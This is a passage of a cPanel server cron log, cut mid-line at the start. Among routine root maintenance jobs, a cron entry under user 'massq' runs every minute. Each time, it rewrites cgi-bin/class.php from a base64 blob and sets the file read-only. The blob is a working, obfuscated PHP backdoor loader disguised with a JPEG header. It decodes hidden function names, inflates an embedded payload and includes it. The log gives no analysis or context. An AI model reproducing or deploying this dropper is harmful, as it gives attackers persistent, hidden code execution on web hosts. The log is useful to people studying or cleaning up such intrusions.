ZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:17:01 server CROND[30955]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:18:01 server CROND[31456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:18:01 server CROND[31457]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:18:01 server CROND[31459]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:19:01 server CROND[31824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:19:01 server CROND[31825]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:19:01 server CROND[31826]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:20:01 server CROND[32204]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 01:20:01 server CROND[32205]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 01:20:01 server CROND[32207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:20:01 server CROND[32214]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 01:20:01 server CROND[32210]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:20:01 server CROND[32212]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 01:20:01 server CROND[32217]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 01:20:01 server CROND[32216]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 01:20:01 server CROND[32219]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:21:01 server CROND[624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:21:01 server CROND[626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:21:01 server CROND[625]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:22:01 server CROND[1029]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:22:01 server CROND[1030]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:22:01 server CROND[1031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:23:01 server CROND[1655]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:23:01 server CROND[1656]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:23:01 server CROND[1657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:24:01 server CROND[2052]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:24:01 server CROND[2053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:24:01 server CROND[2054]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:25:01 server CROND[2428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:25:01 server CROND[2430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:25:01 server CROND[2432]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 01:25:01 server CROND[2431]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 01:25:01 server CROND[2435]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:25:01 server CROND[2434]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 01:25:01 server CROND[2433]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 01:26:02 server CROND[3291]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:26:02 server CROND[3293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:26:02 server CROND[3292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:27:01 server CROND[3655]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 01:27:01 server CROND[3657]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:27:01 server CROND[3656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:27:01 server CROND[3658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:28:01 server CROND[4132]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:28:01 server CROND[4131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:28:01 server CROND[4133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:29:01 server CROND[4511]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:29:01 server CROND[4510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:29:01 server CROND[4512]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:30:01 server CROND[4895]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 01:30:01 server CROND[4897]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
